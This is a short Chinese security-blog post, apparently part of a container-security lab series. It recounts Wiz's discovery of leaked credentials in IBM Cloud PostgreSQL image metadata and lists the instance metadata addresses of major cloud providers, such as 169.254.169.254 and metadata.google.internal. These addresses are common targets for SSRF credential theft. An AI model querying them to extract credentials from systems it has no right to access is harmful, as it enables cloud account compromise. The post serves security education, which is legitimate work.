第九节:破晓容器安全-靶场实战(上)

这里举例在 WIZ 针对 IBM Cloud Databases forPostgreSQL 中的供应链漏洞挖掘工作中,WIZ 的安全研究员对目标 IBM 私有镜像进行扫描,最终发现了多个镜像的元数据文件,并从中挖掘出 FTP 服务凭据、内部项目存储库凭证等敏感信息:

第九节:破晓容器安全-靶场实战(上)

以下是常见的公有云厂商的元数据地址:

#AWShttp://instance-datahttp://169.254.169.254#Google Cloudhttp://169.254.169.254http://metadata.google.internalhttp://metadata#Azurehttp://169.254.169.254#Digital Oceanhttp://169.254.169.254#Packetcloudhttps://metadata.packet.net#Oracle Cloudhttp://169.254.169.254#Alibaba Cloudhttp://100.100.100.200#Tencent Cloudhttp://metadata.tencentyun.comhttp://169.254.0.23
    END
    第九节:破晓容器安全-靶场实战(上)
    关注东方隐侠
    让安全界刮起侠客风

    第九节:破晓容器安全-靶场实战(上)

原文始发于微信公众号(东方隐侠安全团队):第九节:破晓容器安全-靶场实战(上)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月3日20:14:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第九节:破晓容器安全-靶场实战(上)https://cn-sec.com/archives/2465830.html

发表评论

匿名网友 填写信息